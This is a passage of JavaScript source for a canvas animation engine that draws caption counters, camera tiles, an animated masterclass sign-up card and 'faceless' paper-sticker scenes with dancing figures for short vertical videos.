      alpha(ctx, q, () => {
        const cy = s.counterY ?? 300; ctx.translate(0, (1 - q) * 30);
        chip(ctx, W / 2, cy, `Style ${String(k + 1).padStart(2, '0')} / ${n}`, { size: 44, h: 92, weight: 800, ls: -.5 });
        const gap = 34, x0 = W / 2 - (n - 1) * gap / 2;
        for (let i = 0; i < n; i++) { ctx.beginPath(); ctx.arc(x0 + i * gap, cy + 84, i === k ? 10 : 7, 0, TAU); ctx.fillStyle = i <= k ? C.blue : 'rgba(252,251,248,.85)'; ctx.fill(); }
      });
    });
  },
};

// ---------------------------------------------------------------- camTile (over)
// {layer: 'over', from, to, w: 460, h: 580, keys: [[t, [cx, cy]]], labelKeys: [[t, 'En haut']], r: 24, zoom: 1}
// The camera in a paper frame; it glides to each key. The label chip sits mirrored across the screen centre.
// r = corner radius (w / 2 on a square tile = a round bubble), zoom > 1 frames the face tighter.
// sizeKeys: [[t, [w, h], spring?]] animates the tile size (e.g. full frame shrinking into a picture-in-picture);
// frame: 'line' drops the paper sheet for a bare rounded window with a 1px border (lineColor), no shadow, no rise.
// cut: true enters at full opacity on `from` (a hard cut, e.g. a full-frame camera that then shrinks to reveal what is under it).
const camTile = {
  draw(R, s, t) {
    const { ctx } = R, a = s.cut ? (t < s.from ? 0 : 1 - leave(t - (s.to ?? 1e9))) : envA(s, t); if (a <= .002) return;
    const [w, h] = s.sizeKeys ? track(t, s.sizeKeys, 9) : [s.w || 460, s.h || 580];
    const x = track(t, s.keys.map(([k, v]) => [k, v[0]]), 9), y = track(t, s.keys.map(([k, v]) => [k, v[1]]), 9);
    const rise = s.frame === 'line' ? 0 : 1 - S(t - s.from + (s.pre || 0), 12), [, , CW, CH] = R.spec.cam?.crop || [0, 0, 1200, 1080], eyes = R.spec.cam?.eyes || [600, 400];
    alpha(ctx, Math.min(1, a * 1.3), () => {
      ctx.translate(0, rise * 80);
      const r = s.r ?? 24;
      if (s.frame !== 'line') sheet(ctx, x - w / 2 - 14, y - h / 2 - 14, w + 28, h + 28, r + 12, { elev: 1.4 });
      cover(ctx, R.cam, x - w / 2, y - h / 2, w, h, r, [eyes[0] / CW, clamp(eyes[1] / CH + .08)], s.zoom ?? 1);
      if (s.frame === 'line') { ctx.beginPath(); ctx.roundRect(x - w / 2 + .5, y - h / 2 + .5, w - 1, h - 1, r); ctx.lineWidth = 1; ctx.strokeStyle = s.lineColor || 'rgba(255,255,255,.22)'; ctx.stroke(); }
      // label: newest key wins, cross-fade
      let cur = null, at = -1e9; for (const [k, v] of s.labelKeys || []) if (t >= k) { cur = v; at = k; }
      if (cur) {
        const p = S(t - at, 16), lx = lerp(W / 2, W - x, .9), ly = lerp(H / 2, H - y, .75);
        chip(ctx, clamp(lx, 260, W - 260), ly + (1 - p) * 24, cur, { size: 48, h: 104, weight: 800, dot: C.blue, alpha: Math.min(1, p * 1.4) });
      }
    });
  },
};

// ---------------------------------------------------------------- camSplit (over)
// {layer: 'over', from, to, h: 820, enterFrom: 1240, dur: .7}
// The camera panel slides from its split slot (top = enterFrom, the seam before) up to the top of the frame, h tall,
// with the same torn paper edge and a soft shadow; the paper below is free for an 'over' board drawn after it.
// Pair it with a layout key [from, 1920, 400] (the bottom camera leaves at once, this panel replaces it pixel for
// pixel) and captions.yKeys [[from, h + 60]] so the captions sit on the split line.
const camSplit = {
  draw(R, s, t) {
    const { ctx } = R; if (t < s.from || !R.cam || !R.camFit) return;
    const a = 1 - leave(t - (s.to ?? 1e9)); if (a <= .002) return;
    const h = s.h || 820, e0 = s.enterFrom ?? 1240, p = E.io(seg(t, s.from, s.from + (s.dur ?? .7)));
    const top = lerp(e0, 0, p), bot = lerp(H, h, p);
    const A = R.camFit(e0), B = R.camFit(H - h); B.y0 -= H - h;
    const T = { s: lerp(A.s, B.s, p), x0: lerp(A.x0, B.x0, p), y0: lerp(A.y0, B.y0, p) };
    alpha(ctx, a, () => {
      if (bot < H - 2) {   // shadow the panel casts on the paper under its torn edge
        const g = ctx.createLinearGradient(0, bot - 6, 0, bot + 46); g.addColorStop(0, 'rgba(40,28,10,.22)'); g.addColorStop(1, 'rgba(40,28,10,0)');
        ctx.fillStyle = g; ctx.fillRect(0, bot - 6, W, 52);
      }
      ctx.save(); ctx.beginPath(); ctx.rect(0, top, W, H - top); ctx.clip(); if (bot < H - 2) ctx.clip(R.camEdge(bot, false));
      ctx.drawImage(R.cam, T.x0, T.y0, R.CW * T.s, R.CHh * T.s); ctx.restore();
    });
  },
};

export const META = { capStyles, camTile, camSplit };
// the same 20 looks as live captions (spec.captions.style, names in lib/style.js CAPTION_STYLES)
export const CAPTION_DRAW = STYLES;

// Masterclass scene: the creator's masterclass card (ported from the adMaster ads of short-tella-cmuqep / short-monteur-arc-fleche),
// reusable by any short. Same contract as scenes.js, times already mapped to SHORT time.
//   masterCard  a sheet with a dark head (eyebrow, title, logo + subline, round avatar, duration badge), the lessons, then
//               the bottom row that tells the story of the CTA, every step optional and keyed on a word:
//               arrowAt   "Premier lien sous la vidéo" + an arrow down out of the card
//               btnAt     the row becomes the blue button, a cursor flies in (cursorFrom [x, y])
//               clickAt   the cursor presses it, the button runs "Inscription" with a filling bar
//               unlockAt  "Accès débloqué" with a drawn check
//               playAt..playTo  the masterclass plays: a progress bar and timer in the head, the current lesson lights
//                         up and every finished one gets its check
//               {from, to, pre, y 236, eyebrow, title, sub, logo, avatar (image path, never the creator's real face in
//                faceless), badge, badgeAt, lessons [[label, 'N min']], chaptersFrom, chapterStep, linkText, btnText,
//                busyText, unlockText, total (seconds shown by the timer, default sum of the lesson minutes), outDx}
import { C, W, clamp, lerp, seg, E, S, leave, press, track, sheet, shadow, text, measure, midBase, chip, cursor, cover, checkIcon } from './kit.js';

const TAU = Math.PI * 2, MONO = 'JetBrains Mono';
const hex = c => [1, 3, 5].map(i => parseInt(c.slice(i, i + 2), 16));
const mix = (a, b, p) => { const x = hex(a), y = hex(b); return `rgb(${x.map((v, i) => Math.round(lerp(v, y[i], clamp(p)))).join(',')})`; };
function alpha(ctx, a, fn) { if (a <= .002) return; ctx.save(); ctx.globalAlpha *= a; fn(); ctx.restore(); }
const live = (s, t) => t >= s.from - (s.pre || 0) - 1.5 && t <= (s.to ?? 1e9) + 1;
const at = v => v ?? 1e9;
const mmss = x => `${Math.floor(x / 60)}:${String(Math.floor(x % 60)).padStart(2, '0')}`;
function logoImg(R, ctx, src, x, y, size, r = size * .22) {
  const im = R.img('/p/' + src); if (!im) return;
  const k = Math.min(size / im.width, size / im.height), w = im.width * k, h = im.height * k;
  ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, size, size, r); ctx.clip();
  ctx.imageSmoothingQuality = 'high'; ctx.drawImage(im, x + (size - w) / 2, y + (size - h) / 2, w, h); ctx.restore();
}
function arrow(ctx, x, y0, y1, p, o = {}) {
  if (p <= .002) return; const y = lerp(y0, y1, E.out(p)), hl = o.head || 24;
  ctx.save(); ctx.strokeStyle = o.color || C.blue; ctx.lineWidth = o.lw || 9; ctx.lineCap = 'round'; ctx.lineJoin = 'round';
  ctx.beginPath(); ctx.moveTo(x, y0); ctx.lineTo(x, y); ctx.moveTo(x - hl * .8, y - hl); ctx.lineTo(x, y); ctx.lineTo(x + hl * .8, y - hl); ctx.stroke(); ctx.restore();
}
function spinner(ctx, cx, cy, r, t, col) {
  ctx.save(); ctx.strokeStyle = col; ctx.lineWidth = r * .32; ctx.lineCap = 'round';
  const a = t * 7.5; ctx.beginPath(); ctx.arc(cx, cy, r, a, a + 4.2); ctx.stroke(); ctx.restore();
}

const masterCard = {
  needs(s, t) { return live(s, t) ? [s.logo, s.avatar].filter(Boolean).map(p => '/p/' + p) : []; },
  draw(R, s, t) {
    const { ctx } = R, x = 60, w = 960, y = s.y ?? 236, h = 900;
    const out = s.to != null ? leave(t - s.to) : 0, pin = S(t - s.from + (s.pre || 0), 11);
    if (pin <= .002 || out >= 1) return;
    const lessons = s.lessons || [], total = s.total ?? lessons.reduce((a, [, d]) => a + parseFloat(d) * 60, 0);
    // play: 0..1 across playAt..playTo, the lesson boundaries come from their durations
    const pT = s.playTo ?? at(s.playAt) + 4, play = s.playAt != null ? clamp((t - s.playAt) / (pT - s.playAt)) : 0, playing = t >= at(s.playAt);
    const bounds = []; let acc = 0; for (const [, d] of lessons) { bounds.push([acc / total, (acc += parseFloat(d) * 60) / total]); }
    const cur = playing ? Math.max(0, bounds.findIndex(([a, b]) => play >= a && play < b)) : -1, curI = playing && play >= 1 ? lessons.length - 1 : cur;
    alpha(ctx, (1 - out) * Math.min(1, pin * 1.35), () => {
      ctx.translate((s.outDx ?? -820) * out * out, 70 * (1 - pin));
      sheet(ctx, x, y, w, h, 42, { elev: 1.5 });
      // ---- head panel
      const hx = x + 16, hy = y + 16, hw = w - 32, hh = 300;
      ctx.beginPath(); ctx.roundRect(hx, hy, hw, hh, 30); ctx.fillStyle = C.ink; ctx.fill();
      text(ctx, s.eyebrow || 'MASTERCLASS', hx + 44, hy + 74, { size: 32, weight: 700, ls: 3, color: '#7FB6FF', fam: MONO });
      // the title shrinks to fit the room left of the avatar, never slides under it
      const title = s.title || 'Ton monteur IA', room = hw - 44 - (s.avatar ? 112 + 76 + 30 : 44), tw = measure(ctx, title, 78, 800, -2.4);
      const ts = tw > room ? Math.floor(78 * room / tw) : 78;
      text(ctx, title, hx + 44, hy + 166, { size: ts, weight: 800, ls: -2.4 * ts / 78, color: C.white });
      if (s.logo) logoImg(R, ctx, s.logo, hx + 44, hy + 200, 50, 12);
      if (s.sub) text(ctx, s.sub, hx + (s.logo ? 110 : 44), midBase(hy + 225, 36), { size: 36, weight: 600, color: '#A9ABB2' });
      // avatar, with a blue ring that closes while the masterclass plays
      const ax = hx + hw - 112, ay = hy + 122, ar = 76, im = s.avatar && R.img('/p/' + s.avatar);
      ctx.save(); ctx.beginPath(); ctx.arc(ax, ay, ar, 0, TAU); ctx.fillStyle = '#2A2D35'; ctx.fill(); ctx.clip();
      if (im) cover(ctx, im, ax - ar, ay - ar, ar * 2, ar * 2, 0, [.5, .4]); ctx.restore();
      ctx.save(); ctx.beginPath(); ctx.arc(ax, ay, ar + 2, 0, TAU); ctx.lineWidth = 5; ctx.strokeStyle = '#FFFFFF'; ctx.stroke();
      if (playing) { ctx.beginPath(); ctx.arc(ax, ay, ar + 12, -Math.PI / 2, -Math.PI / 2 + TAU * play); ctx.lineWidth = 9; ctx.lineCap = 'round'; ctx.strokeStyle = C.blue; ctx.stroke(); }
      ctx.restore();
      const bp = S(t - at(s.badgeAt), 11);
      if (bp > .002) { ctx.save(); ctx.translate(ax, hy + hh - 8); ctx.rotate(-.05); chip(ctx, 0, 0, s.badge || '10 min', { size: 42, fill: C.blue, color: C.white, scale: 1 + .3 * (1 - bp), alpha: Math.min(1, bp * 1.5), elev: 1 }); ctx.restore(); }
      // play bar + timer along the bottom of the head
      const pp = S(t - at(s.playAt), 12);
      if (pp > .002) alpha(ctx, Math.min(1, pp * 1.4), () => {
        const bx = hx + 44, bw = hw - 400, byy = hy + hh - 30;
        ctx.beginPath(); ctx.roundRect(bx, byy - 5, bw, 10, 5); ctx.fillStyle = '#3A3D45'; ctx.fill();
        ctx.beginPath(); ctx.roundRect(bx, byy - 5, Math.max(10, bw * play), 10, 5); ctx.fillStyle = C.blue; ctx.fill();
        ctx.beginPath(); ctx.arc(bx + bw * play, byy, 13, 0, TAU); ctx.fillStyle = C.white; ctx.fill();
        text(ctx, mmss(total * play), bx + bw + 24, midBase(byy, 30), { size: 30, weight: 700, color: C.white, fam: MONO });
      });
      // ---- lessons
      const top = y + 392, lh = 100;
      if (curI >= 0) {   // the current lesson's tint glides from row to row
        const ry = track(t, [[0, top], ...bounds.slice(1).map(([a], i) => [s.playAt + a * (pT - s.playAt), top + (i + 1) * lh])], 16);
        const hp = S(t - s.playAt, 12);
        ctx.save(); ctx.globalAlpha *= hp; ctx.beginPath(); ctx.roundRect(x + 24, ry - lh / 2 + 6, (w - 48) * E.out(hp), lh - 12, 22); ctx.fillStyle = C.tint; ctx.fill(); ctx.restore();
      }
      lessons.forEach(([lab, dur], i) => {
        const p = S(t - (at(s.chaptersFrom) + i * (s.chapterStep || .3)), 14), ry = top + i * lh;
        const hot = playing && i === curI ? 1 : 0, doneAt = playing && i < curI ? s.playAt + bounds[i][1] * (pT - s.playAt) : null;
        alpha(ctx, Math.min(1, p * 1.4), () => {
          ctx.translate(40 * (1 - p), 0);
          if (i) { ctx.fillStyle = C.line; ctx.fillRect(x + 48, ry - lh / 2, w - 96, 2); }
          if (doneAt != null) checkIcon(ctx, x + 74, ry, 38, C.blue, E.out(seg(t, doneAt, doneAt + .3)), 6.5);
          else text(ctx, String(i + 1).padStart(2, '0'), x + 56, midBase(ry, 36), { size: 36, weight: 700, color: hot ? C.blue : C.ink3, fam: MONO });
          text(ctx, lab, x + 140, midBase(ry, 42), { size: 42, weight: 700, ls: -.6, color: hot ? C.blue2 : doneAt != null ? C.ink2 : C.ink });
          text(ctx, dur, x + w - 56, midBase(ry, 34), { size: 34, weight: 500, align: 'right', color: hot ? C.blue2 : C.ink3, fam: MONO });
        });
      });
      // ---- bottom row: link + arrow, then the button that gets clicked
      const by = y + h - 92, bx = x + 40, bw = w - 80, bh = 116, bcx = bx + bw / 2;
      ctx.fillStyle = C.line; ctx.fillRect(x + 48, by - 82, w - 96, 2);
      const lp = S(t - at(s.arrowAt), 12), btn = S(t - at(s.btnAt), 12);
      alpha(ctx, Math.min(1, lp * 1.4) * (1 - btn), () => {
        const lab = s.linkText || 'Premier lien sous la vidéo', tw = measure(ctx, lab, 46, 800, -1);
        text(ctx, lab, bcx - 30, midBase(by, 46), { size: 46, weight: 800, ls: -1, align: 'center' });
        arrow(ctx, bcx - 30 + tw / 2 + 40, by - 34, by + 34, seg(t, at(s.arrowAt) + .08, at(s.arrowAt) + .4));
      });
      if (btn > .002) {
        const pr = press(t, at(s.clickAt), .2), busy = S(t - at(s.clickAt), 16), done = S(t - at(s.unlockAt), 14);
        ctx.save(); ctx.globalAlpha *= Math.min(1, btn * 1.4); ctx.translate(bcx, by); const k = (.94 + .06 * btn) * (1 - .05 * pr); ctx.scale(k, k); ctx.translate(-bcx, -by);
        shadow(ctx, bx, by - bh / 2, bw, bh, bh / 2, 30, .28 * (1 - done), 12);
        ctx.beginPath(); ctx.roundRect(bx, by - bh / 2, bw, bh, bh / 2); ctx.fillStyle = mix(C.blue, '#EDEAE2', done); ctx.fill();
        // "Inscription": the bar fills the button between the click and the unlock
        if (busy > .002 && done < 1) {
          const f = clamp((t - at(s.clickAt)) / Math.max(.3, at(s.unlockAt) - at(s.clickAt)));
          ctx.save(); ctx.beginPath(); ctx.roundRect(bx, by - bh / 2, bw, bh, bh / 2); ctx.clip();
          ctx.globalAlpha *= busy * (1 - done); ctx.fillStyle = C.blue2; ctx.fillRect(bx, by - bh / 2, bw * E.cubic(f), bh); ctx.restore();
        }
        alpha(ctx, 1 - S(t - at(s.clickAt), 40), () => text(ctx, s.btnText || 'Rejoindre la masterclass', bcx, midBase(by, 46), { size: 46, weight: 800, ls: -.8, align: 'center', color: C.white }));
        alpha(ctx, S(t - at(s.clickAt) - .12, 16) * (1 - S(t - at(s.unlockAt), 40)), () => { const lab = s.busyText || 'Inscription', tw = measure(ctx, lab, 46, 800, -.8) + 64;
          spinner(ctx, bcx - tw / 2 + 18, by, 18, t, C.white); text(ctx, lab, bcx - tw / 2 + 64, midBase(by, 46), { size: 46, weight: 800, ls: -.8, color: C.white }); });
        alpha(ctx, S(t - at(s.unlockAt) - .1, 16), () => { const lab = s.unlockText || 'Accès débloqué', tw = measure(ctx, lab, 46, 800, -.8) + 60;
          checkIcon(ctx, bcx - tw / 2 + 18, by, 36, C.blue, E.out(seg(t, at(s.unlockAt) + .06, at(s.unlockAt) + .4)), 6);
          text(ctx, lab, bcx - tw / 2 + 60, midBase(by, 46), { size: 46, weight: 800, ls: -.8 }); });
        ctx.restore();
        // the cursor: flies in from the mascot's side, hesitates, clicks, leaves after the unlock
        const c0 = s.cursorFrom || [W + 80, by + 320], b0 = at(s.btnAt), c1 = at(s.clickAt);
        const [mx, my] = track(t, [[0, c0], [b0 + .2, [bcx + 250, by + 60]], [b0 + .7, [bcx + 170, by + 30]], [c1 - .45, [bcx + 120, by + 18]], [c1 + .1, [bcx + 120, by + 18]], [at(s.unlockAt) + .5, c0]], 9);
        cursor(ctx, mx, my, { alpha: S(t - b0, 10) * (1 - S(t - at(s.unlockAt) - .7, 8)), press: pr });
      }
    });
  },
};

export const MASTER = { masterCard };

// Faceless scenes: an audio-only video carried by die-cut photo stickers of the creator's head on moving paper
// (first used by short-faceless-1). Same contract as scenes.js, times already mapped to SHORT time.
//   paperFlow  full-frame textured paper that drifts all video long, with a few paper cut-outs floating over it.
//              {from: 0, to, grain 1.35, shapes: true}. Put it first in `scenes` with layout [[0, 1920]].
//   talkHead   the speaker as a sticker head that moves while he talks (no lip-sync): it nods on each word, floats,
//              and gets livelier while words are being said. `face` is the default sticker, `emo` swaps it on beats.
//              {dir: 'assets/stickers/', face, emo: [{from, to, img}], posKeys [[t, [x, top, w]]],
//               body: {at, armsAt, danceAt, shirt, pants, bpm 118}, crew: [{img, at, x, top, w, shirt, pants, phase}]}
//              body grows a paper-cut torso, legs and arms under the head (die-cut white outline like the stickers);
//              danceAt starts a disco-point dance on the beat. crew = friends' sticker heads that pop in and dance too.
//              Stickers: transparent PNGs cut by faceless-stickers/files/cutout.py (same width, head top = bbox top).
//   bgPattern  {from, to, keys: [[at, 'squares' | 'diamonds' | 'stripes' | 'none']], x 540, y 1500, a 1}: the paper
//              background changes pattern on the beat, each new one wipes in as a circle growing from (x, y).
//   disco      {at (drop), to, x 540, y 250, r 130, spotsAt}: a mirror ball lowers on its string from the top and
//              spins; light spots sweep the paper.
//   dancefloor {at, to, y0 1360, rows 5, cols 7, bpm 118}: perspective tile floor that unfolds back to front and
//              lights tiles on the beat.
import { C, W, H, clamp, lerp, S, leave, hash, noise1, makePaper, relief, drop } from './kit.js';

const TAU = Math.PI * 2;
const SKIN = '#E2B08C';
const col = c => (c && C[c]) || c || C.ink;
function alpha(ctx, a, fn) { if (a <= .002) return; ctx.save(); ctx.globalAlpha *= a; fn(); ctx.restore(); }
const envA = (s, t) => (s.from <= 0 ? 1 : S(t - s.from, 12)) * (1 - leave(t - (s.to ?? 1e9)));

// ---------------------------------------------------------------- paperFlow
let PF = null;
const PW = 1320, PH = 2200;
function paperCanvas(grain) {
  if (PF) return PF;
  PF = makePaper(PW, PH, C.paper, 41, grain);
  relief(PF, 2.5, .18, 43); relief(PF, 70, .07, 47);   // tooth + soft cockle you can see moving
  return PF;
}
const SHAPES = [   // [kind, x, y, size, fill] around the edges, the centre stays free for the head
  ['circle', 120, 260, 120, 'sheet'], ['rect', 960, 210, 150, 'tint'], ['blob', 70, 1180, 170, 'sheet'],
  ['rect', 1010, 1020, 110, 'sheet'], ['circle', 980, 1640, 90, 'tint'], ['dot', 170, 1760, 34, 'blue'],
  ['blob', 880, 1500, 120, 'sheet'], ['dot', 930, 640, 22, 'blue'],
];
function shapePath(ctx, kind, s, seed) {
  ctx.beginPath();
  if (kind === 'circle' || kind === 'dot') ctx.arc(0, 0, s / 2, 0, TAU);
  else if (kind === 'rect') ctx.roundRect(-s / 2, -s / 2, s, s, s * .22);
  else { const n = 9; for (let i = 0; i <= n; i++) { const a = i / n * TAU, r = s / 2 * (.78 + .3 * hash(seed + i % n)); ctx[i ? 'lineTo' : 'moveTo'](Math.cos(a) * r, Math.sin(a) * r); } ctx.closePath(); }
}
const paperFlow = {
  draw(R, s, t) {
    const { ctx } = R, P = paperCanvas(s.grain ?? 1.35);
    const mx = (PW - W) / 2, my = (PH - H) / 2;
    const ox = -mx + (noise1(t * .11 + 2) - .5) * 2 * mx * .9, oy = -my + (noise1(t * .09 + 7) - .5) * 2 * my * .9;
    const k = 1 + .025 * Math.sin(t * .23);
    ctx.save(); ctx.translate(W / 2, H / 2); ctx.scale(k, k); ctx.rotate(Math.sin(t * .17) * .012); ctx.translate(-W / 2, -H / 2);
    ctx.drawImage(P, ox, oy); ctx.restore();
    // a slow light falloff sweeping across, so the sheet feels lit
    const lx = W * (.3 + .4 * noise1(t * .07)), g = ctx.createRadialGradient(lx, -200, 0, lx, -200, H * 1.1);
    g.addColorStop(0, 'rgba(255,255,255,.22)'); g.addColorStop(.6, 'rgba(255,255,255,0)'); g.addColorStop(1, 'rgba(70,52,25,.035)');
    ctx.fillStyle = g; ctx.fillRect(0, 0, W, H);
    if (s.shapes === false) return;
    SHAPES.forEach(([kind, x, y, sz, fill], i) => {
      const dx = (noise1(t * .16 + i * 13) - .5) * 70, dy = (noise1(t * .13 + i * 7 + 50) - .5) * 90, rot = (noise1(t * .1 + i * 3) - .5) * .9;
      const a = s.shapesA ?? 1;
      alpha(ctx, a, () => {
        ctx.translate(x + dx, y + dy); ctx.rotate(rot);
        drop(ctx, kind === 'dot' ? .16 : .2, kind === 'dot' ? 8 : 26, kind === 'dot' ? 3 : 10);
        shapePath(ctx, kind, sz, i * 11); ctx.fillStyle = fill === 'sheet' ? C.sheet : col(fill); ctx.fill();
        ctx.shadowColor = 'transparent';
        if (kind !== 'dot') { const gl = ctx.createLinearGradient(0, -sz / 2, 0, sz / 2); gl.addColorStop(0, 'rgba(255,255,255,.55)'); gl.addColorStop(.4, 'rgba(255,255,255,0)'); gl.addColorStop(1, 'rgba(60,44,20,.06)'); ctx.fillStyle = gl; ctx.fill(); }
      });
    });
  },
};

// ---------------------------------------------------------------- bgPattern
// light paper-on-paper patterns: blue tint cells + faint ink seams, drifting slowly so the frame stays alive
function patternFill(ctx, kind, t) {
  const tint = 'rgba(37,142,255,.085)', seam = 'rgba(20,22,27,.06)';
  ctx.save();
  if (kind === 'squares' || kind === 'diamonds') {
    const g = kind === 'squares' ? 135 : 150, d = (t * 16) % (2 * g);
    ctx.translate(W / 2, H / 2); if (kind === 'diamonds') ctx.rotate(Math.PI / 4); ctx.translate(d - 2 * g, d * .5 - 2 * g);
    const R0 = Math.ceil(1250 / g) + 2;
    ctx.fillStyle = tint;
    for (let i = -R0; i <= R0; i++) for (let j = -R0; j <= R0; j++) if ((i + j) & 1) ctx.fillRect(i * g, j * g, g, g);
    ctx.strokeStyle = seam; ctx.lineWidth = 2; ctx.beginPath();
    for (let i = -R0; i <= R0 + 1; i++) { ctx.moveTo(i * g, -R0 * g); ctx.lineTo(i * g, (R0 + 1) * g); ctx.moveTo(-R0 * g, i * g); ctx.lineTo((R0 + 1) * g, i * g); }
    ctx.stroke();
  } else if (kind === 'stripes') {
    const g = 96, d = (t * 22) % (2 * g);
    ctx.fillStyle = tint;
    for (let x = d - 2 * g; x < W + g; x += 2 * g) ctx.fillRect(x, 0, g, H);
    ctx.strokeStyle = seam; ctx.lineWidth = 2; ctx.beginPath();
    for (let x = d - 2 * g; x < W + g; x += g) { ctx.moveTo(x, 0); ctx.lineTo(x, H); }
    ctx.stroke();
  }
  ctx.restore();
}
const bgPattern = {
  draw(R, s, t) {
    const { ctx } = R, a = envA(s, t) * (s.a ?? 1); if (a <= .002) return;
    const K = (s.keys || []).filter(k => k[0] <= t); if (!K.length) return;
    const cur = K.at(-1), prev = K.at(-2), p = S(t - cur[0], 5), x = s.x ?? 540, y = s.y ?? 1500;
    alpha(ctx, a, () => {
      const r = 2300 * p;
      if (prev && p < .999) {   // the old pattern stays outside the growing circle
        ctx.save(); ctx.beginPath(); ctx.rect(0, 0, W, H); ctx.arc(x, y, r, 0, TAU); ctx.clip('evenodd'); patternFill(ctx, prev[1], t); ctx.restore();
      }
      ctx.save(); ctx.beginPath(); ctx.arc(x, y, r, 0, TAU); ctx.clip(); patternFill(ctx, cur[1], t); ctx.restore();
      if (p > .01 && p < .98) { ctx.beginPath(); ctx.arc(x, y, r, 0, TAU); ctx.strokeStyle = `rgba(37,142,255,${.5 * (1 - p)})`; ctx.lineWidth = 10; ctx.stroke(); }
    });
  },
};

// ---------------------------------------------------------------- talkHead
const url = (s, n) => '/p/' + (s.dir || 'assets/stickers/') + n + '.png';
// one face at a time (no lip-sync): `face` by default, `emo` overrides it on emotional beats
function faceAt(s, t) {
  for (const e of s.emo || []) if (t >= e.from && t < e.to) return { img: e.img, key: 'e' + e.from };
  return { img: s.face, key: 'face' };
}
// speaking energy: 1 while a word is being said, eases back to 0 in the gaps
function talkingAt(t, words) {
  let v = 0;
  for (const w of words) { if (w.start > t + .1) break; if (t - w.end > .5) continue; v = Math.max(v, S(t - w.start + .05, 18) * (1 - S(t - w.end - .08, 9))); }
  return v;
}
// smooth nod: rises in ~.09 s, decays over ~.3 s, peak 1. No overshoot.
const nodK = x => x <= 0 ? 0 : (x / .09) * Math.exp(1 - x / .09);
function nodAt(t, words) {
  let v = 0, dir = 0;
  for (let i = 0; i < words.length; i++) {
    const w = words[i]; if (w.start > t) break; if (t - w.start > .8) continue;
    const k = nodK(t - w.start) * (.55 + .45 * hash(i + .5)); v += k; dir += k * (hash(i * 1.7) > .5 ? 1 : -1);
  }
  return { v: Math.min(1.3, v), dir: clamp(dir, -1, 1) };
}

// One dancer: paper-cut body under a sticker head. Local origin = neck point; u = head width.
function limb(ctx, pts, lw, color, bw) {
  ctx.beginPath(); pts.forEach(([x, y], i) => ctx[i ? 'lineTo' : 'moveTo'](x, y));
  ctx.lineCap = 'round'; ctx.lineJoin = 'round';
  if (bw) { ctx.strokeStyle = C.white; ctx.lineWidth = lw + 2 * bw; } else { ctx.strokeStyle = color; ctx.lineWidth = lw; }
  ctx.stroke();
}
const arm = (sx, sy, a, bend, L1, L2, side) => {
  const ex = sx + Math.sin(a) * L1 * side, ey = sy + Math.cos(a) * L1, b = a + bend;
  return [[sx, sy], [ex, ey], [ex + Math.sin(b) * L2 * side, ey + Math.cos(b) * L2]];
};
function bodyParts(ctx, o, t, pass) {
  const u = o.u, bp = o.bodyP, ap = o.armsP, dp = o.danceP, b = t * (o.bpm || 118) / 60 + (o.phase || 0);
  const sway = Math.sin(Math.PI * b) * .1 * u * dp, bw = pass === 'outline' ? .045 * u : 0;
  const shirt = col(o.shirt || 'blue'), pants = col(o.pants || 'ink');
  // legs (from the hips), knees pump on the beat
  const hipY = .98 * u * bp, kb = (1 - Math.cos(TAU * b)) / 2 * dp;
  if (bp > .05) for (const sd of [-1, 1]) {
    const hx = sd * .2 * u + sway * .4, L = .46 * u * bp;
    const kx = hx + sd * .05 * u + Math.sin(Math.PI * b + (sd > 0 ? 0 : Math.PI)) * .07 * u * dp, ky = hipY + L - .08 * u * kb;
    const fx = hx + sd * .06 * u, fy = ky + L;
    limb(ctx, [[hx, hipY - .1 * u], [kx, ky], [fx, fy]], .27 * u * Math.max(.3, bp), pants, bw);
    if (pass !== 'outline') { ctx.beginPath(); ctx.ellipse(fx + sd * .07 * u, fy + .05 * u, .17 * u * bp, .08 * u * bp, 0, 0, TAU); ctx.fillStyle = C.ink; ctx.fill(); }
    else { ctx.beginPath(); ctx.ellipse(fx + sd * .07 * u, fy + .05 * u, .17 * u * bp + bw, .08 * u * bp + bw, 0, 0, TAU); ctx.fillStyle = C.white; ctx.fill(); }
  }
  // torso: shoulders wide, slightly narrower waist, rotates with the hips
  const tw = .98 * u, th = 1.02 * u * bp, wx = .74 * u;
  ctx.save(); ctx.rotate(Math.sin(Math.PI * b) * .05 * dp);
  ctx.beginPath();
  ctx.moveTo(-tw / 2 + .12 * u, -.04 * u); ctx.lineTo(tw / 2 - .12 * u, -.04 * u);
  ctx.quadraticCurveTo(tw / 2, -.02 * u, tw / 2, .16 * u);
  ctx.lineTo(wx / 2 + sway * .3, th); ctx.quadraticCurveTo(wx / 2 + sway * .3, th + .08 * u, wx / 2 - .1 * u + sway * .3, th + .08 * u);
  ctx.lineTo(-wx / 2 + .1 * u + sway * .3, th + .08 * u); ctx.quadraticCurveTo(-wx / 2 + sway * .3, th + .08 * u, -wx / 2 + sway * .3, th);
  ctx.lineTo(-tw / 2, .16 * u); ctx.quadraticCurveTo(-tw / 2, -.02 * u, -tw / 2 + .12 * u, -.04 * u); ctx.closePath();
  if (pass === 'outline') { ctx.lineJoin = 'round'; ctx.strokeStyle = C.white; ctx.lineWidth = 2 * bw; ctx.stroke(); ctx.fillStyle = C.white; ctx.fill(); }
  else {
    ctx.fillStyle = shirt; ctx.fill();
    const g = ctx.createLinearGradient(-tw / 2, 0, tw / 2, 0); g.addColorStop(0, 'rgba(255,255,255,.16)'); g.addColorStop(.5, 'rgba(255,255,255,0)'); g.addColorStop(1, 'rgba(0,0,0,.14)');
    ctx.fillStyle = g; ctx.fill();
    ctx.beginPath(); ctx.ellipse(0, -.03 * u, .2 * u, .09 * u, 0, 0, Math.PI); ctx.fillStyle = SKIN; ctx.fill();   // neck opening
  }
  // arms: disco point, swapping sides every 2 beats, forearms pump on the beat
  if (ap > .02) for (const sd of [-1, 1]) {
    const q = (Math.sin(Math.PI * b / 2 + (sd > 0 ? 0 : Math.PI)) + 1) / 2;   // 1 = up
    const rest = .32, a = lerp(rest, lerp(.5, 2.45, q), dp), bend = lerp(.25, lerp(.9, .15, q) * (.6 + .4 * (1 - Math.cos(TAU * b)) / 2), dp);
    const pts = arm(sd * .4 * u, .1 * u, a, bend, .4 * u * ap, .38 * u * ap, sd);
    if (pass === 'outline') { limb(ctx, pts, .19 * u, null, bw); ctx.beginPath(); ctx.arc(pts[2][0], pts[2][1], .1 * u * ap + bw, 0, TAU); ctx.fillStyle = C.white; ctx.fill(); }
    else {
      limb(ctx, pts.slice(1), .16 * u, SKIN); limb(ctx, pts.slice(0, 2), .2 * u, shirt);
